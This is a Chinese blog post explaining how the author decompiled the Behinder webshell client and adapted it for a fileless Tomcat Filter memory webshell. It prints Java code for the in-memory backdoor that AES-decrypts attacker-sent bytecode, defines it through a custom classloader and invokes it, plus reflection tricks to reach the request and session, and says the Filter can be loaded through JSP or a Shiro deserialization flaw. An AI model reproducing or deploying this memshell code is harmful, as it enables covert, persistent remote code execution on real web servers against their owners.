• 冰蝎改造之适配基于tomcat Filter的无文件webshell


    上一篇文章介绍了Tomcat基于Filter的无文件webshell的demo。Filter的webshell很简单,只是实现了一个简单的命令执行。查找了网上的公开的webshell,发现基于Filter并且功能比较齐全的webshell基本没有。所以萌生了自己魔改冰蝎以适配tomcat内存马的想法。

    0x00 反编译冰蝎

    1. 创建一个maven的项目。pom的依赖如下
      <dependencies>
        <dependency>
          <groupId>junit</groupId>
          <artifactId>junit</artifactId>
          <version>4.11</version>
          <scope>test</scope>
        </dependency>
        <dependency>
          <groupId>org.json</groupId>
          <artifactId>json</artifactId>
          <version>20170516</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.servlet/servlet-api -->
        <dependency>
          <groupId>javax.servlet.jsp</groupId>
          <artifactId>jsp-api</artifactId>
          <version>2.1</version>
          <scope>provided</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/asm/asm-all -->
        <dependency>
          <groupId>asm</groupId>
          <artifactId>asm-all</artifactId>
          <version>3.3.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.servlet/servlet-api -->
        <dependency>
          <groupId>javax.servlet</groupId>
          <artifactId>servlet-api</artifactId>
          <version>2.5</version>
          <scope>provided</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.xerial/sqlite-jdbc -->
        <dependency>
          <groupId>org.xerial</groupId>
          <artifactId>sqlite-jdbc</artifactId>
          <version>3.31.1</version>
        </dependency>
        <dependency>
          <groupId>org.apache.tomcat.embed</groupId>
          <artifactId>tomcat-embed-core</artifactId>
          <version>7.0.25</version>
        </dependency>
      </dependencies>
    
    1. 将冰蝎中这几个jar包,拷贝进来。然后记得右键选择 add as library。

    2. 然后通过idea反编译,将每个class的反编译后的结果,拷贝到项目中。

    3. 对反编译的结果稍作修改,即可运行。冰蝎的main class在ui.Starter中

    结果如图

    0x01 改造分析

    Filter中只有request与response。session可以通过request去获取,代码如下

    ((HttpServletRequest)request).getSession()
    

    而冰蝎的原理为,上传一个class字节码,通过调用classloader的defineClass方法,将class字节码,转换为Class。实例化上传的这个类,通过equal方法传递PageContext。equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

    冰蝎实现命令执行,获取信息等的类在payload.java中,我们随便点开一个看一下

    冰蝎主要用到了三个对象,分别是

    • request 获取请求
    • response 向响应中写入结果
    • session session中存放aes加密的密钥

    0x02 代码实现

    方法一

    Filter中的response的请求类型为org.apache.catalina.connector.ResponseFacade。里面有一个response字段,类型为org.apache.catalina.connector.Response。代码如下

    在这里我们可以很清晰的看见,构造函数中的参数中存在一个request对象。所以,我们可以从response对象中,间接获取request对象与session对象。idea调试截图

    代码实现如下

                Field responseField = ResponseFacade.class.getDeclaredField("response");
                responseField.setAccessible(true);
                org.apache.catalina.connector.Response resp = (Response) responseField.get((ResponseFacade) response);
                ServletRequest request = resp.getRequest();
                HttpSession session = resp.getRequest().getSession();
    

    Filter中内存马的代码如下

            try{
    	if (u != null) {
                    Cipher c = Cipher.getInstance("AES");
                    c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
                    byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                    Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
                    evilClass.newInstance().equal(response);
                    return;
                }
            } catch (Exception e) {
            }
            chain.doFilter(request, response);
        }
    

    只需要修改payload.java中各个payload的request,response,session改造成上面的代码,重新打包即可。

    当然,这种方法存在神坑,会一直报错,如下

    方法二

    修改冰蝎的payload,不再使用equal方法作为执行payload的入口点。添加一个方法,参数如下

    public boolean fuck(ServletRequest request, ServletResponse response)
    

    payload中替换一下response与request。内存马中可以这样写

                    Cipher c = Cipher.getInstance("AES");
                    c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
                    byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                    Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
                    Object a = evilClass.newInstance();
                    Method b = evilClass.getDeclaredMethod("fuck", ServletRequest.class, ServletResponse.class);
                    b.invoke(a, request, response);
                    return;
    

    这样就可以解决那个神坑问题,一切ok

    0x03 成果检验

    将生成的Filter使用jsp或者shiro反序列化漏洞,加载至tomcat系统中。

    正常访问网站

    一切正常,没有任何问题

    通过冰蝎访问网站,url处随便写,如图

    访问,如图所示

    当然,因为这个是魔改的程序,没有经过原作者允许就去公开,可能不太好。所以目前只限于内部交流,暂时还没有想法公开给大家。一切只是抛砖引玉,实现的方法还有很多。希望大佬轻拍

  • 相关阅读:
    5 输出的properties文件按照key进行排序
    JFinal 部署在 Tomcat 下推荐方法(转)
    15个必须知道的chrome开发者技巧(转)
    一次完整的浏览器请求流程(转)
    工作第一天
    Struts2的crud
    equal 和 ==
    生成Apk遇到的问题
    Http Framework
    Gradle: The New Android Build System
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13098595.html
Copyright © 2020-2023  润新知